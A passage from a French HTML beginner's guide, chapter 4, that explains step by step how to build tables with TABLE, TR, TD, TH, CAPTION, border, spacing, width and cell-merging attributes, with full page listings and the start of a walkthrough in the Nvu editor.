d’une rare complexité !

LE GUIDE COMPLET 89
 Chapitre 4 Listes et tableaux

C’est probablement pour les tableaux que le recours à un éditeur HTML

dédié est le plus précieux, comme nous le verrons vers la fin du chapitre.
Mais, comme nous l’avons déjà dit en d’autres cas, la meilleure façon de
bien les comprendre consiste à en créer d’abord quelques-uns de toutes
pièces à l’aide d’un simple éditeur de texte : ce à quoi nous allons nous
attacher maintenant.

Création d’un tableau simple

La structure fondamentale d’un tableau est constituée de l’élément
parent TABLE. Celui-ci contient tous les autres éléments qui spécifient la
légende, les rangées, le contenu et la mise en forme. Ses principaux
éléments enfants sont TR (ligne) et TD (cellule d’une ligne, assimilable à
une colonne).

Nous allons commencer par placer sur la page Ma famille du site un

tableau très simple, qui a pour but de présenter une famille pour le
moment réduite aux deux parents (nous avons bien le temps d’avoir des
enfants !).
1 Ouvrez le Bloc-Notes s’il ne l’est pas déjà, puis le fichier
[Link] créé au cours du chapitre précédent.
2 Comme d’habitude, modifiez le numéro de version :
<META name="version" content="1.4.1">

3 Supprimez la ligne du titre de niveau 2 (H2), puis placez-vous

après la balise <P> et remplacez le contenu actuel par :
<P>Présentation de ma famille</P>

4 Placez-vous après la balise </P> et appuyez sur [Ä] pour créer

une nouvelle ligne. Sur cette ligne, saisissez <TABLE>. Comme
conseillé habituellement, fermez immédiatement l’élément en
appuyant sur [Ä] et en saisissant la balise fermante du tableau,
</TABLE>.

L’astuce avec les tableaux HTML consiste à réfléchir en termes

de lignes, et non de colonnes, contrairement à ce qui est
généralement pratiqué dans un tableau de feuille de calcul ou de
traitement de texte.
5 Placez-vous après la balise ouvrante <TABLE>, appuyez sur [Ä],
ouvrez un élément ligne avec <TR>, appuyez sur [Ä] et fermez
l’élément par </TR>.

90 LE GUIDE COMPLET
 Tableaux Chapitre 4

6 Placez-vous après la balise ouvrante <TR>, appuyez sur [Ä],

ouvrez un élément colonne avec <TD>, saisissez Qualité, fermez
l’élément par </TD>, puis appuyez sur [Ä].
7 Saisissez <TD>Prénom</TD>, puis appuyez sur [Ä].
8 Saisissez <TD>Age</TD>, puis appuyez sur [Ä].
9 Saisissez <TD>Taille</TD>, puis appuyez sur [Ä].
10 Placez-vous après la balise fermante </TR>, appuyez sur [Ä], puis
ouvrez un nouvel élément ligne avec <TD>. <TR>, appuyez sur [Ä]
et fermez l’élément par </TR>.
11 Placez-vous après la balise ouvrante <TR>, appuyez sur [Ä],
saisissez <TD>Père</TD>, puis appuyez sur [Ä].
12 Saisissez <TD>Jean</TD>, puis appuyez sur [Ä].
13 Saisissez <TD>30</TD>, puis appuyez sur [Ä].
14 Saisissez <TD>1,83</TD>, puis appuyez sur [Ä].
15 Placez-vous après la balise fermante </TR>, appuyez sur [Ä], puis
ouvrez un nouvel élément ligne avec <TR>, appuyez sur [Ä] et
fermez l’élément par </TR>.
16 Placez-vous après la balise ouvrante <TR>, appuyez sur [Ä],
saisissez <TD>Mère</TD>, puis appuyez sur [Ä].
17 Saisissez <TD>Martine</TD>, puis appuyez sur [Ä].
18 Saisissez <TD>28</TD>, puis appuyez sur [Ä].
19 Saisissez <TD>1,63</TD>, puis appuyez sur [Ä].
20 Nous agrandirons la famille plus tard. Enregistrez votre fichier
sans modifier son nom (nous ne souhaitons pas de nouvelle erreur
de lien !). Ne fermez ni le fichier ni le Bloc-Notes.

Figure 4.14 :
Aspect d’un tableau simple

LE GUIDE COMPLET 91
 Chapitre 4 Listes et tableaux

Examinez cette page dans votre navigateur. Vous pouvez le faire en

chargeant la page d’accueil et en suivant le lien vers Ma famille, ou en
chargeant directement la page [Link]. Ce tableau reste d’une
extrême simplicité.

Voici le code complet de cette page.

Listing 4-3 : Code de la page [Link] (version 1.4.1)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>"Ma famille"</TITLE>
<META name="author" content="mon nom">
<META name ="version" content="1.4.1">
</HEAD>
<BODY>
<H1 align="center">Ma famille</H1>
<P>Présentation de ma famille</P>
<TABLE>
<TR>
<TD>Qualité</TD>
<TD>Prénom</TD>
<TD>Age</TD>
<TD>Taille</TD>
</TR>
<TR>
<TD>Père</TD>
<TD>Jean</TD>
<TD>30</TD>
<TD>1,83</TD>
</TR>
<TR>
<TD>Mère</TD>
<TD>Martine</TD>
<TD>28</TD>
<TD>1,63</TD>
</TR>
</TABLE>
<P align="center">
<A href="[Link] !</A>.
</P>
<P align="center">
<A href="pageacc1_4_1.html">Retour vers la page d’accueil</A>
</P>
</BODY>
</HTML>

92 LE GUIDE COMPLET
 Tableaux Chapitre 4

Les balises fermantes des éléments TR et TD peuvent être omises, mais

cela est déconseillé, ne serait-ce que par souci de compatibilité avec
XHTML 1.0.

En-tête de colonne : élément TH

C’est un tableau très simple, de trois lignes et quatre colonnes.
Comment l’améliorer ? Tout d’abord, il serait mieux de mettre en
évidence les en-têtes des colonnes. Cela ne pose aucun problème, grâce
à un élément prévu à cet effet, TH.
j Placez-vous après l’ouverture du premier élément ligne (TR) et
remplacez tous les noms d’élément TD par TH, comme dans :
<TH>Qualité</TH>

La balise fermante de l’élément TH peut être omise, mais cela reste

déconseillé.

Les éléments TH
Les agents utilisateurs visuels restituent typiquement le contenu des
éléments TH centré verticalement et horizontalement, et en caractères
gras.

Légende de tableau : élément CAPTION

Il serait également intéressant de doter le tableau d’une légende, plutôt
que d’avoir recours à un élément P qui « casse » un peu la structure de
la page. Tel est le but de l’élément CAPTION.
1 Supprimez la ligne <P>Présentation de ma famille</P>.
2 Placez-vous après l’ouverture de l’élément tableau (TR), appuyez
sur [Ä] et saisissez :
<CAPTION>Présentation de la famille</CAPTION>

L’élément CAPTION fournit une brève description du but du tableau. Il

doit impérativement être unique et situé immédiatement après la balise
ouvrante de l’élément TABLE. Vous pouvez également fournir une
description plus longue, grâce à l’attribut summary de l’élément TABLE,
au bénéfice des personnes employant des agents utilisateurs de type
convertisseur texte-parole ou génération de braille. Nous reviendrons sur

LE GUIDE COMPLET 93
 Chapitre 4 Listes et tableaux

cet attribut, ainsi que sur les autres attributs applicables aux éléments
enfants d’un tableau et qui permettent d’améliorer son rendu pour les
agents utilisateurs non visuels dans le Chapitre 10, traitant de
l’accessibilité. Servez-vous cependant tout de suite de l’attribut
summary :

3 Placez-vous dans la balise d’ouverture de l’élément TABLE et

saisissez :
<TABLE summary="Ce tableau présente les membres de ma
famille en donnant leur titre, leur prénom, leur âge
et leur taille">

Cet élément est particulièrement important pour les tableaux dépourvus

de légende (CAPTION).

Contrôle de l’alignement d’un tableau

Vous avez déjà rencontré l’attribut align, disponible pour à peu près
tous les éléments bloc. TABLE étant un élément bloc, en employant
align="center" dans cet élément, vous centrez le tableau dans la
page. Les valeurs possibles pour align sont center, left ou right.
1 Modifiez la ligne de la balise d’ouverture de l’élément TABLE
pour centrer le tableau :
<TABLE align="center" summary="Ce tableau présente
les membres de ma famille en donnant leur titre,
leur prénom, leur âge et leur taille">

2 Enregistrez votre fichier, sans modifier son nom. Ne fermez ni le

fichier ni le Bloc-Notes.

Examinez cette page dans votre navigateur. Le tableau est plus

intéressant.

Figure 4.15 :
Aspect du tableau centré

94 LE GUIDE COMPLET
 Tableaux Chapitre 4

Vous pouvez également employer cet attribut dans une ligne, pour ne
centrer que les contenus des cellules de cette ligne, ou dans n’importe
laquelle des cellules individuelles, pour ne centrer que les données de
cette cellule. Souvenez-vous cependant que l’emploi de l’attribut align
est désormais est désormais déconseillé : mieux vaut recourir aux
feuilles de style.

Bordures et règles de tableau : attributs

border, frame et rules
Un tableau digne de ce nom possède généralement des lignes de
séparation. Vous pouvez contrôler celles-ci à l’aide de plusieurs attributs
facultatifs de l’élément TABLE : border, frame et rules.

Commençons par l’attribut border, dont la valeur exprimée en pixels

définit la largeur du cadre extérieur.
1 Modifiez comme suit la ligne de la balise d’ouverture de
l’élément TABLE :
<TABLE border="2" align="center" summary="Ce tableau
présente les membres de ma famille en donnant leur
titre, leur prénom, leur âge et leur taille">

2 Enregistrez votre fichier, sans modifier son nom. Ne fermez ni le

fichier ni le Bloc-Notes.

Examinez le tableau dans un navigateur : son aspect est nettement plus

sympathique.

Figure 4.16 :
Aspect du tableau amélioré

Vous pouvez cependant aller bien plus loin, en spécifiant quels côtés du
cadre entourant la table doivent être visibles (grâce à l’attribut frame),

LE GUIDE COMPLET 95
 Chapitre 4 Listes et tableaux

ainsi que les règles devant être affichées (grâce à l’attribut rules). Les
valeurs possibles pour ces deux attributs sont présentées dans le
tableau de la page 5. Modifiez votre tableau pour afficher une bordure de
5 pixels à gauche et à droite du tableau, des règles étant dessinées
uniquement entre les colonnes :
3 Modifiez comme suit la ligne de la balise d’ouverture de
l’élément TABLE :
<TABLE border="5" frame="vsides" rules="cols" align="center"
summary="Ce tableau présente les membres de ma famille en
donnant leur titre, leur prénom, leur âge et leur taille">

4 Enregistrez votre fichier, sans modifier son nom. Ne fermez ni le

fichier ni le Bloc-Notes.

Examinez le résultat obtenu dans un navigateur : son aspect devrait

ressembler à ce qui est présenté dans la figure suivante..

Figure 4.17 :
Aspect du nouveau tableau avec
Firefox

Le tableau suivant présente les valeurs possibles des attributs frame,

rules et border ainsi que leur signification.

Tableau 4.2 : Attributs de bordure et de règles de l’élément TABLE

Attribut Valeur Signification

Frame Void Aucune bordure (valeur par défaut)

Above Haut uniquement

Below Bas uniquement

Hsides Haut et bas uniquement

Vsides Droite et gauche uniquement

Lhs Côté gauche uniquement

96 LE GUIDE COMPLET
 Tableaux Chapitre 4

Tableau 4.2 : Attributs de bordure et de règles de l’élément TABLE

Attribut Valeur Signification

Rhs Côté droit uniquement

box ou border Les quatre côtés

Rules None Aucune (valeur par défaut)

Groups Uniquement entre les groupes de lignes

(THEAD, TFOOT et TBODY) et les groupes de
colonnes (COLGROUP et COL)

Rows Uniquement entre les lignes

Cols Uniquement entre les colonnes

All Entre toutes les lignes et colonnes

Border N Bordure de n pixels. Pas de bordure si n = 0.

Pour des raisons de compatibilité descendante, les conventions suivantes

doivent être respectées par les agents utilisateurs :
j La définition border="0" signifie que frame="void" et que
rules="none" (sauf si spécifié autrement).
j Toute autre valeur de l’attribut border signifie inversement que
frame="border" et que rules="all".
j La présence de l’attribut border sans valeur dans la balise
ouvrante de l’élément TABLE équivaut à frame="border" et à
rules="all", avec une certaine valeur par défaut non nulle pour
l’attribut border.
j Autrement dit, les définitions <TABLE border="2"> et <TABLE
border="2" frame="border" rules="all"> sont
équivalentes, comme <TABLE border> et <TABLE
frame="border" rules="all">.

Variations selon les navigateurs

Le rendu d’un tableau peut différer légèrement selon le navigateur
employé. Examinez les copies d’écran suivantes, correspondant à l’état
actuel de notre page famille vue sous Internet Explorer

LE GUIDE COMPLET 97
 Chapitre 4 Listes et tableaux

Figure 4.18 :
Aspects du nouveau tableau avec
Internet Explorer

et Amaya,

Figure 4.19 :
Aspects du nouveau tableau avec Amaya

et comparez-les à la celle obtenue avec Firefox précédemment obtenu.

Si Firefox et Internet Explorer sont très proches (l’intervalle entre le titre
et le tableau est plus faible avec Firefox, tandis que l’effet « relief » est
plus prononcé), Amaya affiche une unique ligne de séparation.

Contrôle de la taille et de la structure

des cellules
Reprenons un peu de terminologie : un tableau est composé de lignes
(éléments TR) et de colonnes. L’intersection d’une ligne et d’une
colonne est une cellule, le plus petit élément de données d’un tableau.
Une cellule individuelle ne devrait contenir qu’une information

98 LE GUIDE COMPLET
 Tableaux Chapitre 4

(toujours la structure avant tout !), de type en-tête (élément TH) ou

donnée (élément TD). Dans ce qui précède, vous avez construit votre
premier tableau, composé de trois lignes (dont la ligne d’en-têtes) et de
quatre colonnes, soit un total de douze cellules individuelles : le tableau
contient effectivement trois éléments ligne TR et douze éléments cellule,
dont quatre éléments TH d’en-tête et huit éléments TD de données.

Une cellule peut recevoir une mise en forme particulière en HTML à

l’aide d’attributs spéciaux.

Espacement : attributs cellspacing

et cellpadding
Il est ainsi possible de modifier l’espacement entre les cellules, tout
comme le décalage entre le contenu de la cellule et la bordure, ce qui
porte le nom un peu inattendu de « remplissage » (padding). Pour ce
faire, vous modifiez les attributs cellspacing et/ou cellpadding.

L’attribut cellspacing détermine la largeur de la partie blanche de la

bordure. Autrement dit, il quantifie l’espace qui doit être laissé par
l’agent utilisateur entre le côté gauche du tableau et le côté gauche de la
colonne située à l’extrême gauche, le haut du tableau et le haut de la
rangée supérieure, et ainsi de suite pour le côté droit et le bas du tableau.
L’attribut spécifie également l’espacement entre les cellules.

Notre tableau étant de très petite taille, vous allez l’aérer un peu.
1 Modifiez comme suit la ligne de la balise d’ouverture de
l’élément TABLE :
<TABLE border="5" frame="vsides" rules="cols" align="center"
cellspacing="20" summary="Ce tableau présente les membres
de ma famille en donnant leur titre, leur prénom, leur âge
et leur taille">

2 Enregistrez votre fichier, sans modifier son nom, puis examinez le

résultat dans votre navigateur (voir Figure 4.20).

À moins que cela ne ressemble à une des figures qui suivent (voir
Figure 4.21, 4.22).

LE GUIDE COMPLET 99
 Chapitre 4 Listes et tableaux

Figure 4.20 :
Emploi de l’attribut cellspacing, vu
dans Firefox.

Figure 4.21 :
Emploi de l’attribut cellspacing, vu dans
Internet Explorer

Figure 4.22 :
Emploi de l’attribut cellspacing, vu
dans Amaya.

Les différences entre navigateurs sont ici encore plus flagrantes : Firefox
semble incapable de tenir compte de la présence de l’attribut
cellspacing, contrairement à ses homologues. Plus vous compliquez
la présentation d’un tableau en combinant les attributs et plus cela est
susceptible de se produire.
3 Modifiez à nouveau la ligne de la balise d’ouverture de l’élément
TABLE :
<TABLE border="2" align="center" cellspacing="20" summary=
"Ce tableau présente les membres de ma famille en donnant
leur titre, leur prénom, leur âge et leur taille">

L’aspect dans les trois navigateurs, bien qu’encore différent, est plus
satisfaisant.

100 LE GUIDE COMPLET

 Tableaux Chapitre 4

Figure 4.23 :
Page modifiée avec attribut
cellspacing, vu dans Firefox

Figure 4.24 :
Page modifiée avec attribut
cellspacing, vu dans Internet Explorer

Figure 4.25 :
Page modifiée avec attribut cellspacing,
vu dans Amaya.

Un second attribut, cellpadding, correspond à la largeur, également

exprimée en pixels, de l’espace compris entre le contenu de la cellule et
la bordure du tableau ou la règle. La valeur de cet attribut peut être
exprimée en pixels : les quatre marges se trouvent alors à cette distance
du contenu. Si la valeur de l’attribut est exprimée en pourcentage, les
marges supérieure et inférieure devraient se trouver à égale distance du
contenu, en fonction d’un pourcentage de l’espacement vertical
disponible, tandis que les marges gauche et droite devraient se trouver à
égale distance du contenu, en fonction d’un pourcentage de
l’espacement horizontal disponible.

Ces deux attributs contrôlent donc conjointement l’espacement entre et à

l’intérieur des cellules.

Bordure invisible
En attribuant au tableau une bordure invisible (border=0), le contenu
de la cellule semble « flotter », séparé de toutes les autres informations.

LE GUIDE COMPLET 101

 Chapitre 4 Listes et tableaux

C’est souvent intéressant, puisque HTML reste globalement peu

adapté aux espaces blancs.

1 Modifiez comme suit la ligne de la balise d’ouverture de

l’élément TABLE :
<TABLE border="2" align="center" cellspacing="20"
cellpadding="30%" summary="Ce tableau présente les membres
de ma famille en donnant leur titre, leur prénom, leur
âge et leur taille">

2 Enregistrez votre fichier, sans modifier son nom, puis examinez le

résultat dans votre navigateur. Vous devriez voir quelque chose
d’équivalent à ce qui est présenté dans la figure suivante.

Figure 4.26 :
Emploi de
l’attribut
cellpadding

Ici, l’attribut cellspacing spécifie que les cellules devraient être

séparées de vingt pixels, les unes par rapport aux autres ainsi que par
rapport au cadre du tableau. L’attribut cellpadding stipule que la
marge supérieure et la marge inférieure de la cellule seront chacune
séparées du contenu de la cellule de 15 % de l’espacement vertical
disponible (soit 30 % au total). De même, la marge de gauche et la
marge de droite de la cellule seront chacune séparées du contenu de la
cellule de 15 % de l’espacement horizontal disponible (soit 30 % au
total).

Alignement : attributs align et valign

Vous pouvez également modifier l’alignement d’une cellule. Pour
modifier l’alignement horizontal, vous recourez à l’attribut align, déjà

102 LE GUIDE COMPLET

 Tableaux Chapitre 4

rencontré, dans un élément TD ou TH. L’alignement vertical s’ajuste à

l’aide de l’attribut valign. valign, qui peut prendre les valeurs top
(haut), bottom (bas), middle (milieu, la valeur par défaut) et
baseline (première ligne). Cette dernière valeur aligne le contenu de
toutes les cellules selon la première ligne de texte, mais pas forcément
en haut ni en alignant la dernière ligne.
1 Modifiez comme suit les éléments TD du second élément TR (le
premier contenant les en-têtes, soit des éléments TH) :
<TD valign="top">Père</TD>
<TD valign="top">Jean</TD>
<TD align="right" valign="top">30</TD>
<TD align="right" valign="top">1,83</TD>

2 Procédez de même pour les éléments TD du dernier élément TR :

<TD valign="top">Mère</TD>
<TD valign="top">Martine</TD>
<TD align="right" valign="top">28</TD>
<TD align="right" valign="top">1,63</TD>

3 Enregistrez votre fichier, sans modifier son nom, puis examinez le

résultat dans votre navigateur.

Figure 4.27 :
Contrôle de
l’alignement
horizontal et
vertical

LE GUIDE COMPLET 103

 Chapitre 4 Listes et tableaux

Attributs déconseillés en HTML

Vous ne devriez pas être étonnés que je signale une fois encore que
les attributs align et valign sont à déconseiller dans le corps de la
page HTML, et qu’une feuille de style devrait être employée à la
place…

Largeur des colonnes : attribut width

La largeur des colonnes peut être spécifiée à l’aide de l’argument width
de trois façons différentes :
j Fixe : une largeur fixe est exprimée en pixels (par exemple,
width="30"). Spécifier une largeur fixe permet une restitution
progressive.

Conflit d’attributs
Lorsqu’un tableau ou une colonne possède une largeur fixe, les
attributs cellspacing et cellpadding peuvent nécessiter plus
d’espace que celui qui est attribué. En cas de conflit, les agents
utilisateurs peuvent (sans être obligés de le faire) donner à ces attributs
la priorité sur l’attribut de largeur width. Mieux vaut donc éviter de se
trouver dans cette situation.

j Pourcentage : une largeur exprimée en pourcentage (par

exemple, width="20%") se fonde sur le pourcentage d’espace
horizontal disponible pour le tableau (entre les marges courantes
gauche et droite). Remarquez que cet espace ne dépend pas du
tableau en lui-même : une spécification en pourcentage permet
donc une restitution progressive.
j Proportionnelle : une valeur proportionnelle (par exemple,
width="3*") se rapporte aux portions d’espace horizontal
nécessaire au tableau. Si le tableau possède une largeur fixe (via
l’attribut width de l’élément TABLE), les agents utilisateurs
peuvent le restituer de façon progressive, comme pour des
colonnes proportionnelles. En revanche, si la largeur du tableau
n’est pas fixe, l’agent utilisateur doit attendre d’avoir reçu toutes
les données avant de pouvoir déterminer l’espace horizontal
nécessaire au tableau. Cet espace sera alors seulement alloué aux
colonnes proportionnelles.

104 LE GUIDE COMPLET

 Tableaux Chapitre 4

Comme cela a été mentionné, l’attribut width peut également être

employé sur l’élément TABLE pour définir la largeur totale d’un tableau.
Comme pour une colonne, cette largeur peut être exprimée de façon
fixe, en pourcentage ou de façon proportionnelle.

Modifiez de nouveau votre tableau :

1 Modifiez comme suit la ligne de la balise d’ouverture de
l’élément TABLE, pour créer un tableau occupant 80 % de
l’espace libre disponible à l’écran :
<TABLE border="2" align="center" cellspacing="20"
cellpadding="30%" width="80%" summary="Ce tableau
présente les membres de ma famille en donnant leur
titre, leur prénom, leur âge et leur taille">

2 Modifiez comme suit les éléments TH du premier élément TR

(celui qui contient les en-têtes) :
<TH width="30%">Qualité</TH>
<TH width="30%">Prénom</TH>
<TH width="20%">Age</TH>
<TH width="20%">Taille</TH>

Remarquez que le total des quatre pourcentages est bien égal à

100 %.
3 Enregistrez votre fichier, sans modifier son nom, puis examinez le
résultat dans votre navigateur.

Figure 4.28 :
Ajustement de la
largeur du tableau
et des cellules

LE GUIDE COMPLET 105

 Chapitre 4 Listes et tableaux

Cette figure mérite que vous vous y attardiez un peu plus longtemps.
Tout d’abord, remarquez que la valeur par défaut de l’attribut
d’alignement horizontal align est « centré » (align="center") pour
un élément TH, alors qu’il est « à gauche » (align="left") pour un
élément TD. En outre, les choix d’alignement sont bien mieux mis en
évidence que précédemment. Remarquez également qu’il a suffi de
modifier la largeur des cellules de la première ligne : ces spécifications
ont été héritées par les lignes suivantes.

Mais que se passerait-il si vous spécifiez des largeurs différentes pour

les cellules de la seconde ligne ? Autant essayer…
4 Modifiez comme suit les éléments TD du second élément TR (le
premier contenant les en-têtes, soit des éléments TH) :
<TD valign="top" width="20%">Père</TD>
<TD valign="top" width="20%">Jean</TD>
<TD align="right" valign="top" width="30%">30</TD>
<TD align="right" valign="top" width="25%">1,83</TD>

Pour corser les choses, le total des pourcentages est même cette fois
différent de 100 %…
5 Enregistrez votre fichier, mais cette fois-ci sous le nom
[Link], puis examinez le résultat dans votre navigateur.

Figure 4.29 : Ajustement incorrect de la largeur du tableau et des

cellules

Manifestement, l’agent utilisateur a été déconcerté : il a retenu la plus

forte des valeurs de largeur spécifiées pour les trois premières colonnes
(30 % pour les deux premières colonnes, à cause des largeurs spécifiées
pour les deux premières cellules de la première ligne, puis 30 % pour la

106 LE GUIDE COMPLET

 Tableaux Chapitre 4

troisième colonne, à cause de la troisième cellule de la deuxième ligne)

et n’a accordé à la dernière colonne que le reste de l’espace disponible,
soit 10 %.

Gardez toutefois à l’esprit que, même si l’emploi de l’attribut width

n’est pas déconseillé, mieux vaut spécifier la largeur des tableaux à
l’aide de feuilles de style.

Fusion de cellules : attributs rowspan

et colspan
Dans un tableau, il est souvent utile de fusionner des cellules, que cela
soit horizontalement (sur plusieurs colonnes) ou verticalement (sur
plusieurs lignes), voire les deux. L’attribut rowspan réalise une fusion
verticale tandis que l’attribut colspan opère une fusion horizontale.

L’attribut rowspan spécifie le nombre de colonnes couvertes par la

cellule courante. Sa valeur par défaut est "1", la valeur "0" signifiant
que la cellule couvre toutes les colonnes, depuis la colonne courante
jusqu’à la dernière colonne de la section de table (voir plus loin les
éléments THEAD, TBODY et TFOOT) dans laquelle la cellule est définie.

L’attribut colspan spécifie le nombre de colonnes couvertes par la

cellule courante. Sa valeur par défaut est "1", la valeur "0" signifiant
que la cellule couvre toutes les colonnes, à partir de la colonne courante
jusqu’à la dernière colonne du groupe de colonnes (voir plus loin
l’élément COLGROUP) dans lequel la cellule est définie.

Création d’un tableau à cellules fusionnées à

l’aide d’un éditeur de texte
Vous allez ici mettre en œuvre ces nouveaux attributs en modifiant la
page secondaire Mes régions du site Web, à l’aide d’un éditeur de texte.
1 Ouvrez le Bloc-Notes s’il ne l’est pas déjà, puis le fichier
[Link] (attention, si vous n’avez pas fermé précédemment le
Bloc-Notes, le fichier actuel est [Link]).
2 Comme d’habitude, modifiez le numéro de version :
<META name ="version" content="1.4.2">

LE GUIDE COMPLET 107

 Chapitre 4 Listes et tableaux

3 Supprimez la ligne du titre de niveau 2 (H2), puis le paragraphe de

l’élément P. Créez à sa place un nouveau tableau centré, avec sa
légende (élément CAPTION) et son attribut summary) :
<TABLE border="2" align="center" summary=
"Présentation de ma région">
<CAPTION>Ma région</CAPTION>
</TABLE>

4 Vous allez créer ici un tableau un peu complexe, employant à la

fois des fusions de lignes et de colonnes, dont l’aspect théorique
est représenté dans la figure suivante.

Tableau 4.3 : Aspect du tableau à créer

Colonne 1 Colonne 2 Colonne 3 Colonne 4

Ligne 1 Cette cellule occupe 1 Cette cellule s’étend sur 3 colonnes.

colonne et 4 lignes. Elle
Ligne 2 contiendra par la suite Cellule Cellule Cellule
une image. individuelle individuelle individuelle

Ligne 3 Cellule sur Cellule sur 2 lignes et 2

2 lignes colonnes
Ligne 4

Ce tableau possède au total quatre lignes et quatre colonnes. Comme

cela a déjà été évoqué précédemment, un tableau HTML doit se
construire ligne par ligne. Examinez la première ligne théorique : elle
contient deux cellules, l’une s’étendant sur trois lignes et l’autre sur trois
colonnes. Entrez le code pour créer cette première ligne.
5 Ouvrez un élément de ligne TR (en vous plaçant au-dessus de la
balise de fin </TABLE> et en créant de nouvelles lignes), puis
créez la première cellule en la déclarant comme s’étendant sur 4
lignes :
<TR>
<TD rowspan="4">...Une image sera placée ici...</TD>
</TR>
</TABLE>

6 Créez ensuite la seconde cellule, qui doit s’étendre sur trois

colonnes :
<TR>
<TD rowspan="4">...Une image sera placée ici...</TD>
<TD colspan="3">Ma région est célèbre pour ses forêts,
ses montagnes et ses lacs.</TD>
</TR>

108 LE GUIDE COMPLET

 Tableaux Chapitre 4

Tableau 4.4 : Cellules créées à la fin de l’étape 6

Colonne 1 Colonne 2 Colonne 3 Colonne 4

Ligne 1 ...Une image sera Ma région est célèbre pour ses forêts, ses
placée ici... montagnes et ses lacs.

Ligne 2 Cellule Cellule Cellule

individuelle individuelle individuelle

Ligne 3 Cellule sur 2 Cellule sur 2 lignes et 2

lignes colonnes
Ligne 4

7 Passons à la seconde ligne. Ouvrez un nouvel élément TR, sous la

ligne précédente, puis créez ses cellules. Vous n’en avez que trois
à créer, puisque la première cellule de cette ligne est sous-
entendue par l’extension de la première cellule de la première
ligne.
<TR>
<TD>Les forêts</TD>
<TD>Les montagnes</TD>
<TD>Les lacs</TD>
</TR>
</TABLE>

Tableau 4.5 : Cellules crées à la fin de l’étape 7

Colonne 1 Colonne 2 Colonne 3 Colonne 4

Ligne 1 ...Une image Ma région est célèbre pour ses forêts, ses
sera placée ici... montagnes et ses lacs.

Ligne 2 Les forêts Les Les lacs

montagnes

Ligne 3 Cellule sur 2 Cellule sur 2 lignes et 2

lignes colonnes
Ligne 4

8 Occupez-vous de la troisième ligne. Créez cette fois uniquement

deux éléments TD, l’un s’étendant sur deux lignes et l’autre
occupant deux lignes et deux colonnes :
<TR>
<TD rowspan="2">Ici, du texte à compléter </TD>
<TD rowspan="2" colspan="2">Ici, une autre image </TD>
</TR>
</TABLE>

LE GUIDE COMPLET 109

 Chapitre 4 Listes et tableaux

Tableau 4.6 : Cellules créées à la fin de l’étape 8

Colonne 1 Colonne 2 Colonne 3 Colonne

4

Ligne 1 ...Une image sera Ma région est célèbre pour ses forêts, ses
placée ici... montagnes et ses lacs.

Ligne 2 Les forêts Les Les lacs

montagnes

Ligne 3 Ici, du texte à Ici, une autre image.

compléter.
Ligne 4

9 Et la quatrième ligne ? Comme le montre la figure précédente,

elle est déjà implicitement créée : sa première cellule par la
première cellule de la première ligne, la seconde par la seconde
cellule de la troisième ligne et les deux dernières par la troisième
cellule de la ligne précédente. Pour la bonne forme, insérez tout
de même un élément TR vide :
<TR></TR>

10 Enregistrez le fichier, puis examinez la page dans votre

navigateur:

Figure 4.30 :
Aspect de la page
Région dans un
navigateur

Voici le code complet de la page :

Listing 4-4 : Fichier [Link] (version 1.4.2).
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><HTML>
<HTML>
<HEAD>
<TITLE>Ma région</TITLE>
<META name="author" content="Fabrice Lemainque">
<META name ="version" content="1.4.2">
</HEAD>
<BODY>

110 LE GUIDE COMPLET

 Tableaux Chapitre 4

<TABLE border="2" align="center" summary=

"Présentation de ma région">
<CAPTION>Ma région</CAPTION>
<TR>
<TD rowspan="4">...Une image sera placée ici...</TD>
<TD colspan="3">Ma région est célèbre pour ses forêts,
ses montagnes et ses lacs.</TD>
</TR>
<TR>
<TD>Les forêts</TD>
<TD>Les montagnes</TD>
<TD>Les lacs</TD>
</TR>
<TR>
<TD rowspan="2">ici, du texte à compléter </TD>
<TD rowspan="2" colspan="2">Ici, une autre image</TD>
</TR>
</TABLE>
<P align="center">
<A href="pageacc1_4_1.html">Retour vers la page
d’accueil</A>
</P>
</BODY>
</HTML>

Figure 4.31 :
Aspect de la page
Région dans un
navigateur

Une bonne méthode consiste à toujours procéder comme nous l’avons

fait ici, c’est-à-dire en traçant un quadrillage sur une feuille de papier et
en indiquant les cellules déjà créées : cela diminue fortement les risques
d’erreur et les surprises désagréables susceptibles d’en résulter.

Création d’un tableau à cellules fusionnées

à l’aide d’un éditeur HTML
Comme nous l’avons dit auparavant, les tableaux tel celui de cet
exemple peuvent rapidement devenir très complexes : ce sont

LE GUIDE COMPLET 111

 Chapitre 4 Listes et tableaux

probablement eux qui méritent le plus le recours à un éditeur HTML.

Nous allons concevoir à nouveau le même tableau, mais cette fois à
l’aide de Nvu.
1 Ouvrez Nvu. Bonne nouvelle, contrairement à Amaya, l’interface
est localisée, si toutefois vous avez téléchargé la bonne version
(nous employons ici la version 1.0PR (20050330)).
2 Saisissez Ma région. Cliquez sur la flèche de la zone de liste
déroulante, à côté de Corps de texte et, choisissez dans la liste
Titre 1.

Figure 4.32 : Création d’un titre de niveau 1

Placez-vous à la fin du titre, puis appuyez sur [Ä].

3 Cliquez sur l’icône Tableau. Cela affiche une nouvelle fenêtre, qui
permet de définir le tableau à créer.

Figure 4.33 :
Boîte de dialogue Insérer un tableau

112 LE GUIDE COMPLET

 Tableaux Chapitre 4

Vous allez immédiatement modifier les attributs de votre tableau

(en réalité de l’élément TABLE). Cliquez sur Édition avancée.
Vous voyez que Nvu a déjà défini trois attributs avec des valeurs
par défaut : cellspacing, cellpading et border.

Figure 4.34 :
Éditeur des propriétés
avancées

4 Vous voulez ajouter deux attributs summary et align. Ouvrez la

zone de liste déroulante Attribut et choisissez summary. Dans la
zone de texte Valeur, saisissez Présentation de ma région.
Ouvrez à nouveau la zone de liste déroulante Attribut et choisissez
align. Ouvrez la zone de liste déroulante Valeur et choisissez
center. La fenêtre Éditeur des propriétés avancées doit
ressembler à ce qui est présenté dans la figure qui suit. Confirmez
par OK pour revenir à la fenêtre Insérer un tableau.

Figure 4.35 :
Fenêtre Éditeur des
propriétés avancées
renseignée

LE GUIDE COMPLET 113

 Chapitre 4 Listes et tableaux

5 Nous voulons un tableau de quatre lignes et quatre colonnes :

sélectionnez dans cette fenêtre quatre lignes et quatre colonnes,
puis cliquez sur OK.
6 Sélectionnez les cellules de la première colonne, puis choisissez
dans le menu Tableau > Fusionner les cellules sélectionnées : les
quatre cellules concernées fusionnent.
7 Sélectionnez les trois dernières cellules de la première ligne, puis
choisissez à nouveau dans le menu Tableau > Fusionner les
